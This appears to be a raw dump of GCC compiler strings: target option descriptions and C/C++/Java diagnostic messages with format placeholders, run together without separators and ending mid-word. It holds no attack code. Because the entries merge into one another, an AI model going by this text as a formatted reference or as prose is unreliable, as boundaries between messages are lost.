Use 128-bit long doubleUse 16 bit intUse 16-bit abs patternsUse 32 bit floatUse 32 bit intUse 32-bit ABIUse 32-bit floating-point registersUse 32-bit general registersUse 4 byte entries in switch tablesUse 4 media accumulatorsUse 64 FPRsUse 64 GPRsUse 64 bit floatUse 64-bit ABIUse 64-bit floating-point registersUse 64-bit general registersUse 64-bit long doubleUse 8 media accumulatorsUse ABI reserved registersUse AltiVec instructionsUse Branch Likely instructions, overriding the architecture defaultUse CONST16 instruction to load constantsUse EABIUse FUNC to flush the cache before calling stack trampolinesUse GP relative sdata/sbss sectionsUse H8/300 alignment rulesUse IEEE math for fp comparisonsUse MIPS-3D instructionsUse MIPS-DSP instructionsUse Mingw-specific thread supportUse NewABI-style %reloc() assembly operatorsUse P-mnemonics for branches statically predicted as takenUse PMC-style 'mad' instructionsUse POWER instruction setUse POWER2 instruction setUse PowerPC General Purpose group optional instructionsUse PowerPC Graphics group optional instructionsUse PowerPC V2.01 single field mfcr instructionUse PowerPC V2.02 floating point rounding instructionsUse PowerPC V2.02 popcntb instructionUse PowerPC instruction setUse PowerPC-64 instruction setUse ROM instead of RAMUse SSE register passing conventions for SF and DF modeUse UNIX assembler syntaxUse UltraSPARC Visual Instruction Set extensionsUse VAX fpUse VAXC structure conventionsUse __cxa_atexit to register destructorsUse a 32-bit long typeUse a 64-bit long typeUse a stack protection method for every functionUse addresses that allocate global registersUse alternate register namesUse arbitrary sized immediates in bit operationsUse big-endian byte orderUse branch-and-break sequences to check for integer divide by zeroUse bras for executable < 64kUse call and rtc for function calls and returnsUse call-clobbered registers for parameters and return valueUse class <name> for constant stringsUse different calling convention using 'rtd'Use direct addressing mode for soft registersUse direct references against %gs when accessing tls dataUse epsilon-respecting floating point compare instructionsUse expression value profiles in optimizationsUse features of and schedule code for given CPUUse features of and schedule given CPUUse fp double instructionsUse fp registersUse given SPARC-V9 code modelUse given assembler dialectUse given thread-local storage dialectUse given x86-64 code modelUse hardware FPUse hardware floating pointUse hardware fpUse hardware quad FP instructionsUse in/loc/out register namesUse indirect CALLXn instructions for large programsUse indirect callsUse inline patterns for copying memoryUse jsr and rts for function calls and returnsUse jump tables for sufficiently large switch statementsUse little-endian byte orderUse media instructionsUse multiply add/subtract instructionsUse n as character line width in free modeUse native (MS) bitfield layoutUse new mnemonics for PowerPC architectureUse normal calling conventionUse offset tables for virtual method callsUse old mnemonics for PowerPC architectureUse only one TOC entry per procedureUse packed stack layoutUse paired-single floating-point instructionsUse portable calling conventionsUse profiling information for branch probabilitiesUse propolice as a stack protection methodUse push instructions to save outgoing argumentsUse red-zone in the x86-64 codeUse register stack for parameters and return valueUse registers for argument passingUse registers r2 and r5Use rjmp/rcall (limited range) on >8K devicesUse shared librariesUse simulator runtimeUse software floating pointUse stack biasUse structs on stronger alignment for double-word copiesUse stubs for function prologuesUse the Cray Pointer extensionUse the Cygwin interfaceUse the DEC assembler syntaxUse the bit-field instructionsUse the divide instructionUse the mips-tfile postpassUse the most feature-enabling options allowed by other optionsUse the narrowest integer type possible for enumeration typesUse the same size for double as for floatUse trap instructions to check for integer divide by zeroUse zero-extending memory loads, not sign-extending onesUsed in Fix-and-Continue mode to indicate that object files may be swapped in at runtimeUsing built-in specs.
VOIDmode on an outputWarn about "extern" declarations not at file scopeWarn about "suspicious" constructsWarn about @selector()s without previously declared methodsWarn about C constructs that are not in the common subset of C and C++Warn about NULL being passed to argument slots marked as requiring non-NULLWarn about PCH files that are found but not usedWarn about all enumerated switches missing a specific caseWarn about casting functions to incompatible typesWarn about casts which discard qualifiersWarn about code that will never be executedWarn about code which might break strict aliasing rulesWarn about compile-time integer division by zeroWarn about deprecated 'vector long ...' AltiVec type usageWarn about enumerated switches missing a "default:" statementWarn about enumerated switches, with no default, missing a caseWarn about features not present in traditional CWarn about format strings that are not literalsWarn about function pointer arithmeticWarn about functions which might be candidates for __attribute__((noreturn))Warn about functions which might be candidates for format attributesWarn about global functions without previous declarationsWarn about global functions without prototypesWarn about implicit function declarationsWarn about inappropriate attribute usageWarn about invalid uses of the "offsetof" macroWarn about macros defined in the main file that are not usedWarn about missing fields in struct initializersWarn about misuses of pragmasWarn about multiple declarations of the same objectWarn about non-normalised Unicode stringsWarn about non-virtual destructorsWarn about overloaded virtual function namesWarn about pointer casts which increase alignmentWarn about possible security problems with format functionsWarn about possible violations of sequence point rulesWarn about possibly missing braces around initializersWarn about possibly missing parenthesesWarn about possibly nested block comments, and C++ comments spanning more than one physical lineWarn about printf/scanf/strftime/strfmon format string anomaliesWarn about returning structures, unions or arraysWarn about signed-unsigned comparisonsWarn about stray tokens after #elif and #endifWarn about strftime formats yielding 2-digit yearsWarn about subscripts whose type is "char"Warn about suspicious declarations of "main"Warn about things that will change when compiling with an ABI-compliant compilerWarn about uncasted NULL used as sentinelWarn about uninitialized automatic variablesWarn about unprototyped function declarationsWarn about unrecognized pragmasWarn about use of multi-character character constantsWarn about user-specified include directories that do not existWarn about uses of __attribute__((deprecated)) declarationsWarn about variables which are initialized to themselvesWarn about violations of Effective C++ style rulesWarn about zero-length formatsWarn if .class files are out of dateWarn if a C-style cast is used in a programWarn if a deprecated compiler feature, class, method, or field is usedWarn if a function uses alloca or creates an array with dynamic sizeWarn if a selector has multiple methodsWarn if a single function's framesize exceeds the given framesizeWarn if an object is larger than <number> bytesWarn if an old-style parameter definition is usedWarn if an undefined macro is used in an #if directiveWarn if deprecated empty statements are foundWarn if inherited methods are unimplementedWarn if modifiers are specified when not necessaryWarn if passing too many arguments to a function for its format stringWarn if testing floating point numbers for equalityWarn if the loop cannot be optimized due to nontrivial assumptions.Warn if trigraphs are encountered that might affect the meaning of the programWarn if type signatures of candidate methods do not match exactlyWarn when a declaration does not specify a typeWarn when a declaration is found after a statementWarn when a function is unusedWarn when a function parameter is unusedWarn when a label is unusedWarn when a pointer differs in signedness in an assignmentWarn when a pointer is cast to an integer of a different sizeWarn when a register variable is declared volatileWarn when a stackframe is larger than the specified sizeWarn when a variable is unusedWarn when all constructors and destructors are privateWarn when an expression value is unusedWarn when an inlined function cannot be inlinedWarn when an optimization pass is disabledWarn when converting the type of pointers to member functionsWarn when non-templatized friend functions are declared within a templateWarn when not issuing stack smashing protection for some reasonWarn when one local variable shadows anotherWarn when overload promotes from unsigned to signedWarn when padding is required to align structure membersWarn when the compiler reorders codeWarn when the packed attribute has no effect on struct layoutWarn when there is a cast to a pointer from an integer of a different sizeWarn whenever a function's return type defaults to "int" (C), or about inconsistent return types (C++)Warn whenever an Objective-C assignment is being intercepted by the garbage collectorWarning:When "signed" or "unsigned" is not given make the bitfield signedWhen "signed" or "unsigned" is not given make the bitfield unsignedWhen possible do not generate stack framesWhen running CSE, follow conditional jumpsWhen running CSE, follow jumps to their targetsWhether to use canonical typesWhile setting up signal handler: %mWhile setting up signal stack: %mWork around VR4130 mflo/mfhi errataWork around a hardware anomaly by adding a number of NOPs before aWork around an early 4300 hardware bugWork around bug in multiplication instructionWork around certain R4000 errataWork around certain R4400 errataWork around certain VR4120 errataWork around errata for early SB-1 revision 2 coresWork around hardware multiply bugWrite dependency output to the given fileWriting module %s at line %d column %d: %sXXX entering pop_everything ()
XXX is_class_level != (current_scope == class_scope)
XXX leaving pop_everything ()
[Leaving %s]
[cannot find %s][disabled][enabled][super ...] must appear in a method context__builtin_eh_return not supported on this target__builtin_saveregs not supported by this subtarget__builtin_saveregs not supported by this target``%s' attribute only applies to functionsa parameter list with an ellipsis can%'t match an empty parameter name list declarationa storage class can only be specified for objects and functionsa using-declaration cannot specify a template-id.  Try %<using %D%>abnormal edges for no purpose in bb %iabort in %s, at %s:%dabstract declarator %qT used as declarationaccumulator is not a constant integeraccumulator number is out of boundsaddress area of %q+D conflicts with previous declarationaddress of global register variable %qD requestedaddress of global register variable %qs requestedaddress of local variable %q+D returnedaddress of register variable %qD requestedaddress of register variable %qs requestedaddress offset not a constantaddress operand requires constraint for X, Y, or Z registeraddress taken, but ADDRESSABLE bit not setaggregate %q#D has incomplete type and cannot be definedaggregate value used where a complex was expectedaggregate value used where a float was expectedaggregate value used where an integer was expectedalias argument not a stringalias definitions not supported in Mach-O; ignoredalignment may not be specified for %q+Dalignment must be a small power of two, not %dalignment of %q+D is greater than maximum object file alignment.  Using %dalignment of array elements is greater than element sizeall member functions in class %qT are privateambiguous abbreviation %sambiguous conversion for array subscriptambiguous default type conversion from %qTambiguous template specialization %qD for %q+Dan argument type that has a default promotion can%'t match an empty parameter name list declarationanachronism: anachronistic old-style base class initializeranonymous %s declared inside parameter listanonymous struct not inside named typeanonymous union with no membersapplying #pragma weak %q+D after first use results in unspecified behaviorargs to be formatted is not %<...%>argument %d of %qE might be a candidate for a format attributeargument %q+D might be clobbered by %<longjmp%> or %<vfork%>argument %qD doesn%'t match built-in prototypeargument %qD doesn%'t match prototypeargument %qs to %<-Wnormalized%> not recognizedargument 1 must be a 5-bit signed literalargument 1 of __builtin_altivec_predicate is out of rangeargument 1 of __builtin_altivec_predicate must be a constantargument 1 of __builtin_spe_predicate is out of rangeargument 1 of __builtin_spe_predicate must be a constantargument 2 must be a 5-bit unsigned literalargument 3 must be a 4-bit unsigned literalargument of %<__builtin_args_info%> must be constantargument of %<__builtin_args_info%> out of rangeargument of %<__builtin_eh_return_regno%> must be constantargument of %qs attribute is not "ilink1" or "ilink2"argument of %qs attribute is not a string constantargument of type %qT does not match %qTargument to "%s" should be a non-negative integerargument to %qs attribute larger than %dargument to %qs must be a 2-bit unsigned literalargument to '%s' missing
argument to '-%s' is missingargument to '-B' is missingargument to '-Xassembler' is missingargument to '-Xlinker' is missingargument to '-Xpreprocessor' is missingargument to '-l' is missingargument to '-specs' is missingargument to '-specs=' is missingargument to '-x' is missingargument to dss must be a 2-bit unsigned literalarguments to destructor are not allowedarithmetic on pointer to an incomplete typearray %q+D assumed to have one elementarray %qD initialized by parenthesized string literal %qEarray does not match the region treearray index in initializer exceeds array boundsarray index in initializer not of integer typearray index in non-array initializerarray index range in initializer exceeds array boundsarray initialized from non-constant array expressionarray initialized from parenthesized string constantarray of inappropriate type initialized from string constantarray size missing in %q+Darray size missing in %qDarray subscript has type %<char%>array subscript is not an integerarray type has incomplete element typearrays of functions are not meaningfulas %qDasm clobber conflict with input operandasm clobber conflict with output operandasm declaration ignored due to conflict with previous renameasm operand %d probably doesn%'t match constraintsasm-specifier for variable %qs conflicts with asm clobber listassertion missing after %qsassignmentassignment (not initialization) in declarationassignment discards qualifiers from pointer target typeassignment from distinct Objective-C typeassignment from incompatible pointer typeassignment left-hand side might be a candidate for a format attributeassignment makes integer from pointer without a castassignment makes pointer from integer without a castassignment makes qualified function pointer from unqualifiedassignment of read-only member %qDassignment of read-only variable %qDassignment suppressionassignment to final field %q+D not in field's classassuming cast to type %qT from overloaded functionassuming pointer to member %qDassuming that the loop counter does not overflowassuming that the loop is not infiniteat this point in fileattempt to take address of bit-field structure member %qDattribute for %q+#T must follow the %qs keywordattribute ignored in declaration of %q+#Tattribute interrupt_handler is not compatible with -m5-compactattributes after parenthesized initializer ignoredattributes in parameter array declarator ignoredaux field set for edge %s->%sbad PC range for debug info for local %q+Dbad addressbad address, not (reg+disp):bad address, not post_inc or pre_dec:bad amount of stack space removal: %dbad array initializerbad builtin fcodebad condition codebad format of .zip/.jar archive
bad insn for 'A'bad insn in frv_print_operand, 0 casebad insn in frv_print_operand, bad const_doublebad insn in frv_print_operand, z casebad insn to frv_print_operand, 'F' modifier:bad insn to frv_print_operand, 'L' modifier:bad insn to frv_print_operand, 'M/N' modifier:bad insn to frv_print_operand, 'O' modifier:bad insn to frv_print_operand, 'e' modifier:bad insn to frv_print_operand, 'f' modifier:bad insn to frv_print_operand, 'g' modifier:bad insn to frv_print_operand, P modifier:bad insn to frv_print_operand_address:bad insn to frv_print_operand_memory_reference:bad method signaturebad output_condmove_single operandbad output_move_double operandbad output_move_single operandbad pc in exception_tablebad registerbad register to frv_print_operand_memory_reference_reg:bad shift insn:bad string constantbad testbad type in parameter debug infobad value %qs for -mcpu switchbad value %qs for -mfp-rounding-mode switchbad value %qs for -mfp-trap-mode switchbad value %qs for -mmemory-latencybad value %qs for -mtls-size switchbad value %qs for -mtrap-precision switchbad value (%s) for %s switchbad value (%s) for -mcmodel= switchbad value constant type %d, index %dbad value for -mcall-%sbad value for -msdata=%sbad zip/jar file %sbadly nested C headers from preprocessorbase %qT will be initialized afterbase class %q#T has a non-virtual destructorbase class %qT has cv qualifiersbase operand of %<->%> is not a pointerbase type %qT fails to be a struct or class typebasic block %d pred edge is corruptedbasic block %d should be marked irreduciblebasic block %d should not be marked irreduciblebasic block %i edge lists are corruptedbasic blocks not laid down consecutivelybb %d do not belong to loop %dbb %d on wrong placebit-field %q+D width not an integer constantbit-field %qD with non-integral typebit-field %qs has invalid typebit-field %qs width not an integer constantbogus JARL construction: %d
boolean registers required for the floating-point optionboth %<complex%> and %<_Bool%> in declaration specifiersboth %<complex%> and %<void%> in declaration specifiersboth %<long long%> and %<double%> in declaration specifiersboth %<long%> and %<_Bool%> in declaration specifiersboth %<long%> and %<char%> in declaration specifiersboth %<long%> and %<float%> in declaration specifiersboth %<long%> and %<short%> in declaration specifiersboth %<long%> and %<void%> in declaration specifiersboth %<short%> and %<_Bool%> in declaration specifiersboth %<short%> and %<char%> in declaration specifiersboth %<short%> and %<double%> in declaration specifiersboth %<short%> and %<float%> in declaration specifiersboth %<short%> and %<void%> in declaration specifiersboth %<signed%> and %<_Bool%> in declaration specifiersboth %<signed%> and %<double%> in declaration specifiersboth %<signed%> and %<float%> in declaration specifiersboth %<signed%> and %<unsigned%> in declaration specifiersboth %<signed%> and %<void%> in declaration specifiersboth %<unsigned%> and %<_Bool%> in declaration specifiersboth %<unsigned%> and %<double%> in declaration specifiersboth %<unsigned%> and %<float%> in declaration specifiersboth %<unsigned%> and %<void%> in declaration specifiersbraced spec '%s' is invalid at '%c'braced spec body '%s' is invalidbraces around scalar initializerbraces around scalar initializer for type %qTbranch %2d never executed
branch %2d taken %s%s
branch target register load optimization is not intended to be run twicebreak statement not within loop or switchbuilt-in function %q+D declared as non-functioncall   %2d never executed
call   %2d returned %s
call edges for non-call insn in bb %icall is unlikely and code size would growcall of %<(%T) (%A)%> is ambiguouscall of overloaded %<%D(%A)%> is ambiguouscall of overloaded %<%s(%A)%> is ambiguouscall to Java %<catch%> or %<throw%> with %<jthrowable%> undefinedcall to Java constructor with %qs undefinedcall to Java constructor, while %<jclass%> undefinedcall to non-function %qDcall-clobbered register used for global register variablecalled from herecalled object %qE is not a functioncaller edge count is negativecan not use an object as parameter to a methodcan%'t create precompiled header %s: %mcan%'t open %s for writing: %mcan%'t open %s: %mcan%'t read %s: %mcan%'t seek in %s: %mcan%'t write %s: %mcan%'t write to %s: %mcan't apply both longcall and shortcall attributes to the same functioncan't close input file %s: %mcan't convert between vector values of different sizecan't convert from incomplete type %qT to %qTcan't convert value to a vectorcan't create repository information file %qscan't define friend function %qs in a local class definitioncan't do dependency tracking with input from stdincan't extend PCH file: %mcan't find %<class$%> in %qTcan't find a register in class %qs while reloading %<asm%>can't get position in PCH file: %mcan't get program statuscan't initialize friend function %qscan't make %qD into a method -- not in a classcan't open %s: %mcan't open ldd outputcan't open nm outputcan't read PCH file: %mcan't seek PCH file: %mcan't set position in PCH file: %mcan't specify '-D' without '--main'
can't use '%s' as a %s registercan't write PCH filecan't write PCH file: %mcan't write padding to PCH file: %mcandidate 1:candidate 2:candidate is: %+#Dcandidates are:candidates are: %+#Dcannot apply %<offsetof%> to static data member %qDcannot bind bitfield %qE to %qTcannot bind packed field %qE to %qTcannot bind rvalue %qE to %qTcannot call member function %qD without objectcannot convert %qE from type %qT to type %qTcannot convert %qT to %qT in %scannot convert from base %qT to derived type %qT via virtual base %qTcannot convert to a pointer typecannot convert type %qT to type %qTcannot create pointer to reference member %qDcannot create temporary filecannot declare %<::main%> to be a templatecannot declare %<::main%> to be inlinecannot declare %<::main%> to be staticcannot declare %qD to be a bit-field typecannot declare bit-field %qD with function typecannot declare member %<%T::%s%> within %qTcannot declare member function %qD to have static linkagecannot declare pointer to %q#Tcannot declare pointer to %q#T membercannot declare reference to %q#Tcannot declare reference to %q#T, which is not a typedef or a template type argumentcannot declare static function inside another functioncannot decompose addresscannot define member function %<%T::%s%> within %<%T%>cannot delete a function.  Only pointer-to-objects are valid arguments to %<delete%>cannot disable built-in function %qscannot do z-register replacementcannot explicitly declare member %q#D to have extern linkagecannot find '%s'cannot find 'ldd'cannot find 'nm'cannot find class %qscannot find file for class %scannot find interface declaration for %qscannot find interface declaration for %qs, superclass of %qscannot find protocol declaration for %qscannot find reference tag for class %qscannot handle inconsistent calls to %qscannot initialize %qT from %qTcannot initialize arrays using this syntaxcannot initialize multi-dimensional array with initializercannot inline function %<main%>cannot merge separate %s counters for function %ucannot open %scannot optimize loop, the loop counter may overflowcannot optimize possibly infinite loopscannot pass objects of non-POD type %q#T through %<...%>; call will abort at runtimecannot pass rvalue to reference parametercannot put object with volatile field into registercannot receive objects of non-POD type %q#T through %<...%>; call will abort at runtimecannot reload integer constant operand in %<asm%>cannot resolve overloaded function %qD based on conversion to type %qTcannot return from a handler of a function-try-block of a constructorcannot set interrupt attribute: no current functioncannot set interrupt attribute: no such identifiercannot specify 'main' class when not linkingcannot specify -o with -c or -S with multiple filescannot specify both -C and -ocannot specify both -msep-data and -mid-shared-librarycannot take address of bit-field %qDcannot take the address of %<this%>, which is an rvalue expressioncannot use %<::%> in parameter declarationcannot use mode %qs for enumeral typescannot use mshared and static togethercannot use mthreads and mlegacy-threads togethercannot use typeid with -fno-rtticannot use va_start in interrupt functioncase label does not reduce to an integer constantcase label in scope of identifier with variably modified type not containing enclosing switch statementcase label in statement expression not containing enclosing switch statementcase label not within a switch statementcase label value exceeds maximum value for typecase label value is less than minimum value for typecast adds new qualifiers to function typecast discards qualifiers from pointer target typecast from %qT to %qT increases required alignment of target typecast from function call of type %qT to non-matching type %qTcast from pointer to integer of different sizecast increases required alignment of target typecast specifies array typecast specifies function typecast to pointer from integer of different sizecast to union type from type not present in unioncasting %qT to %qT does not dereference pointerchanges meaning of %qD from %q+#Dchar-array initialized from wide stringchecksum is %x instead of %xchoosing %qD over %qDcircular pointer delegation detectedclass %qT does not have any field named %qDclass %qT is implicitly friends with itselfclass %qT will be considered nearly empty in a future version of GCCclass %qs already existsclass '%s' has no method named '%s' matching signature '%s'cleanup argument not a functioncleanup argument not an identifierclosing dependency file %s: %mcode model %qs not supported in the %s bit modecollect2 version %scollect: reading %s
collect: recompiling %s
comma at end of enumerator listcommand line option "%s" is valid for %s but not for %scommand line option %qs is not supported by this configurationcomparing floating point with == or != is unsafecomparison between %q#T and %q#Tcomparison between pointer and integercomparison between signed and unsigned integer expressionscomparison is always %dcomparison is always %d due to width of bit-fieldcomparison is always false due to limited range of data typecomparison is always true due to limited range of data typecomparison of complete and incomplete pointerscomparison of distinct Objective-C types lacks a castcomparison of distinct pointer types lacks a castcomparison of promoted ~unsigned with constantcomparison of promoted ~unsigned with unsignedcomparison of unsigned expression < 0 is always falsecomparison of unsigned expression >= 0 is always truecompilation terminated due to -Wfatal-errors.
compilation terminated.
complex invalid for %qsconflicting access specifications for method %q+D, ignoredconflicting return type specified for %q+#Dconflicting specifiers in declaration of %qsconflicting super class name %qsconflicting type attributes specified for %q+#Dconflicting type qualifiers for %q+Dconflicting types for %q+Dconflicting types for built-in function %q+Dconflicts with function declaration %q#Dconst %qs cannot be declared %<mutable%>const_double_split got a bad insn:constant argument out of range for %qsconstant not recomputed when ADDR_EXPR changedconstructor for alien class %qT cannot be a memberconstructor syntax used, but no constructor declared for type %qTconstructors cannot be declared virtualcontinue statement not within a loopcontinue statement not within loop or switchcontrol flow in the middle of basic block %dconversion from %q#T to %q#Tconversion from %qT to %qT discards qualifiersconversion from %qT to %qT is ambiguousconversion from %qT to non-scalar type %qT requestedconversion lacks type at end of formatconversion of %qE from %qT to %qT is ambiguousconversion to %s%s will never use a type conversion operatorconversion to incomplete typeconversion to non-scalar type requestedconverting NULL to non-pointer typeconverting from %qT to %qTconverting overloaded function %qD to type %q#T is ambiguouscorrupted profile info: edge from %i to %i exceeds maximal countcorrupted profile info: number of executions for edge %d-%d thought to be %icorrupted profile info: number of iterations for basic block %d thought to be %icorrupted profile info: run_max * runs < sum_maxcorrupted profile info: sum_all is smaller than sum_maxcould not close response file %scould not close temporary response file %scould not convert %qE to %qTcould not convert template argument %qE to %qTcould not find a spill registercould not find class$ field in java interface type %qTcould not find specs file %s
could not open dump file %qs: %scould not open response file %scould not open temporary response file %scould not split insncould not write to response file %scould not write to temporary response file %scouldn't determine target name for dependency trackingcouldn't run '%s': %scoverage mismatch for function %qs while reading counter %qscoverage mismatch for function %u while reading execution counterscreated and used with different ABIscreated and used with different architectures / ABIscreated and used with different endiannesscreated and used with different settings of -fpiccreated and used with different settings of -fpiecreated and used with differing settings of '%s'creating %screating array of %qTcreating array of %qT, which is an abstract class typecreating pointer to member function of non-class type %qTcreating pointer to member of non-class type %qTcreating pointer to member reference type %qTdata member %qD cannot be a member templatedata member may not have variably modified type %qTdata type of %q+D isn%'t suitable for a registerdebug format "%s" conflicts with prior selectiondebug output level %s is too highdebug: declaration does not declare anythingdeclaration for parameter %q+D but no such parameterdeclaration of %<extern%> variable %q+D in %<for%> loop initial declarationdeclaration of %q#Ddeclaration of %q#D has %<extern%> and is initializeddeclaration of %q#D outside of class is not definitiondeclaration of %q#D shadows a parameterdeclaration of %q+D shadows a built-in functiondeclaration of %q+D shadows a global declarationdeclaration of %q+D shadows a parameterdeclaration of %q+D shadows a previous localdeclaration of %q+D shadows previous non-variabledeclaration of %q+D with attribute noinline follows inline declaration declaration of %q+D with no linkage follows extern declarationdeclaration of %qD as %sdeclaration of %qD as multidimensional array must have bounds for all dimensions except the firstdeclaration of %qD as non-functiondeclaration of %qD as non-memberdeclaration of %qD not in a namespace surrounding %qDdeclaration of %qD shadows a global declarationdeclaration of %qD shadows a member of 'this'declaration of %qD shadows a previous localdeclaration of %qF throws different exceptionsdeclaration of %qs as array of functionsdeclaration of %qs as array of voidsdeclaration of non-variable %q+D in %<for%> loop initial declarationdeclaration of static variable %q+D in %<for%> loop initial declarationdeclarator-id missing; using reserved word %qDdecrement of pointer to unknown structuredecrement of read-only member %qDdecrement of read-only variable %qDdefault argument %qE uses local variable %qDdefault argument for %q#D has type %qTdefault argument for parameter of type %qT has type %qTdefault argument missing for parameter %P of %q+#Ddefault arguments are not allowed in declaration of friend template specialization %qDdefining explicit specialization %qD in friend declarationdefinition in block %i does not dominate use in block %idefinition in block %i follows the usedefinition of %q#D is marked %<dllimport%>definition of %q#T inside template parameter listdefinition of %qD is not in namespace enclosing %qTdefinition of implicitly-declared %qDdefinition of static data member %q+D of dllimport'd classdeleting %qT is undefineddeleting array %q#Ddeprecated use of default argument for parameter of non-functiondereferencing %<void *%> pointerdereferencing pointer to incomplete typedereferencing type-punned pointer might break strict-aliasing rulesdereferencing type-punned pointer will break strict-aliasing rulesderived union %qT invaliddestructor %qD declared as member templatedestructor cannot be static member functiondestructor for %qs shall not be run eitherdestructor for alien class %qT cannot be a memberdestructors may not be cv-qualifieddestructors may not have parametersdirect base %qT inaccessible in %qT due to ambiguitydistinct Objective-C type in returndivision by zerodoes not support multilibdominator of %d should be %d, not %ddominator of %d status unknownduplicate %<const%>duplicate %<restrict%>duplicate %<volatile%>duplicate %qEduplicate (or overlapping) case valueduplicate ConstantValue attribute for field '%s'duplicate asm operand name %qsduplicate base type %qT invalidduplicate case valueduplicate declaration for protocol %qsduplicate declaration of method %<%c%s%>duplicate explicit instantiation of %q#Tduplicate initialization of %qDduplicate interface declaration for category %<%s(%s)%>duplicate interface declaration for class %qsduplicate label %qDduplicate label declaration %qEduplicate member %q+Dduplicated initializerdynamic dependency %s not foundedge %s->%s has no corresponding call_stmtedge from %d to %d should be marked irreducibleedge from %d to %d should not be marked irreducibleedge points to wrong declaration:elements of array %q#D have incomplete typeembedded %<\0%> in formatemitting PIC operand, but PIC register isn't set upempty declarationempty declaration with storage class specifier does not redeclare tagempty declaration with type qualifier does not redeclare tagempty index range in initializerempty left precision in %s formatempty precision in %s formatempty range specifiedempty scalar initializerenabling backtrace support is only meaningful when compiling for the Thumbenabling callee interworking support is only meaningful when compiling for the Thumbenabling caller interworking support is only meaningful when compiling for the Thumbenclosing class templates are not explicitly specializedend insn %d for block %d not found in the insn streamenumeral and non-enumeral type in conditional expressionenumeral mismatch in conditional expression: %qT vs %qTenumeration values exceed range of largest integerenumerator value for %qD is not an integer constantenumerator value for %qE is not an integer constantenvironment variable "%s" not definedenvironment variable DJGPP not definedenvironment variable DJGPP points to corrupt file '%s'environment variable DJGPP points to missing file '%s'error closing %s: %merror in args to spec function '%s'error in constant pool entry #%d
error while parsing constant poolerror while parsing constant pool
error while parsing fieldserror while parsing fields
error while parsing final attributeserror while parsing final attributes
error while parsing methodserror while parsing methods
error while reading %s from zip fileerror writing %qserror writing to %s: %merror: exception handling disabled, use -fexceptions to enableexception of type %<%T%> will be caughtexcess elements in array initializerexcess elements in char array initializerexcess elements in scalar initializerexcess elements in struct initializerexcess elements in union initializerexcess elements in vector initializerexpand_binop failed in movsi gotexpected %<,%> or %<;%>expected %<,%> or %<}%>expected %<,%>, %<;%> or %<}%>expected %<:%> or %<...%>expected %<:%>, %<,%>, %<;%>, %<}%> or %<__attribute__%>expected %<;%>expected %<=%>expected %<=%>, %<,%>, %<;%>, %<asm%> or %<__attribute__%>expected %<{%>expected an SSA_NAME objectexpected class nameexpected declaration or statementexpected declaration specifiersexpected declaration specifiers or %<...%>expected expressionexpected identifierexpected identifier or %<(%>expected identifier or %<*%>expected specifier-qualifier-listexpected statementexpected string literalexpense of call operation relative to ordinary arithmetic operationsexplicit goto at end of bb %dexplicit instantiation of %q#T before definition of templateexplicit instantiation of %qD but no definition availableexplicit instantiation of non-template type %qTexplicit qualification in declaration of %qDexplicit specialization in non-namespace scope %qDexplicit specialization of non-template %qTexpression %qE of abstract class type %qT cannot be used in throw-expressionexpression statement has incomplete typeextended registers have no high halvesextern declaration of %q#D doesn't matchextern declaration of %q+D follows declaration with no linkageexternal linkage required for symbol %q+D because of %qs attributeextra %<;%>extra brace group at end of initializerextra elements in scalar initializerextra outgoing edge %d->%dextra qualification %<%T::%> on member %qsextra type qualifiers in format argument (argument %d)extraneous argument to '%s' optionfailed to find class '%s'failed to get exit statusfailed to get process timesfailed to reclaim unneeded functionfallthru edge after a control statement in bb %dfallthru edge after unconditional jump %ifallthru edge crosses section boundary (bb %i)fallthru to exit from bb %dfastcall and cdecl attributes are not compatiblefastcall and regparm attributes are not compatiblefastcall and stdcall attributes are not compatiblefatal error: fclose %sfield %q+#D with same name as classfield %q+D invalidly declared function typefield %q+D invalidly declared method typefield %qD has incomplete typefield %qs declared as a functionfield %qs has incomplete typefield %qs not foundfield initializer is not constantfield name not in record or union initializerfield precisionfield widthfield width in printf formatfield width in scanf formatfield width in strfmon formatfield width in strftime formatfile-scope declaration of %qs specifies %<auto%>file-scope declaration of %qs specifies %<register%>fill characterfill character in strfmon formatfind_enum(): Enum not foundfini function found in object %sfirst argument of %q+D should be %<int%>first argument to %<va_arg%> not of type %<va_list%>fix_sched_param: unknown param: %sfloating constant misusedfloating constant truncated to zerofloating point constant not a valid immediate operandfloating point overflow in expressionflow control insn inside a basic blockfold check: original tree changed by foldfopen %sfor template declaration %q+Dformat %q.*s expects type %<%T%s%>, but argument %d has type %qTformat %q.*s expects type %<%s%s%>, but argument %d has type %qTformat argument %d unused before used argument %d in $-style formatformat argument %d used more than once in %s formatformat is a wide character stringformat not a string literal and no format argumentsformat not a string literal, argument types not checkedformat not a string literal, format string not checkedformat string argument follows the args to be formattedformat string argument not a string typeformat string has invalid operand numberforming %s to reference type %qTforming reference to voidfound %<-%s%> instead of %<+%s%> in protocol(s)found a real definition for a non-registerfound a virtual definition for a GIMPLE registerfound an SSA_NAME that had been released into the free poolfp software completion requires -mtrap-precision=ifr30_print_operand: invalid %%F codefr30_print_operand: invalid %%x codefr30_print_operand: invalid operand to %%A codefr30_print_operand: unhandled MEMfr30_print_operand: unknown codefr30_print_operand: unrecognized %%B codefr30_print_operand: unrecognized %%b codefr30_print_operand: unrecognized %%p codefr30_print_operand_address: unhandled addressframe size too large for reliable stack checkingfriend declaration not in class definitionfriend declaration requires class-key, i.e. %<friend %#T%>friend declaration requires class-key, i.e. %<friend class %T::%D%>from previous declaration %q+Ffrom this locationfrv_print_operand: unknown codefunction %q#D is initialized like a variablefunction %q+D definition is marked dllimportfunction %q+D redeclared as inlinefunction %q+D redeclared with attribute noinlinefunction %q+F can never be inlined because it contains a computed gotofunction %q+F can never be inlined because it is suppressed using -fno-inlinefunction %q+F can never be inlined because it receives a non-local gotofunction %q+F can never be inlined because it uses __builtin_return or __builtin_apply_argsfunction %q+F can never be inlined because it uses alloca (override using the always_inline attribute)function %q+F can never be inlined because it uses attributes conflicting with inliningfunction %q+F can never be inlined because it uses non-local gotofunction %q+F can never be inlined because it uses setjmpfunction %q+F can never be inlined because it uses setjmp-longjmp exception handlingfunction %q+F can never be inlined because it uses variable argument listsfunction %q+F can never be inlined because it uses variable sized variablesfunction %qD declared virtual inside a unionfunction %qD is initialized like a variablefunction %qs cannot be declared %<mutable%>function body not availablefunction call has aggregate valuefunction called through a non-compatible typefunction declaration isn%'t a prototypefunction declared %<noreturn%> has a %<return%> statementfunction definition declared %<__thread%>function definition declared %<auto%>function definition declared %<register%>function definition declared %<typedef%>function definition does not declare parametersfunction definition has qualified void return typefunction does not return string typefunction might be possible candidate for %qs format attributefunction not considered for inliningfunction not declared inline and code size would growfunction not inlinablefunction return type cannot be functionfunction 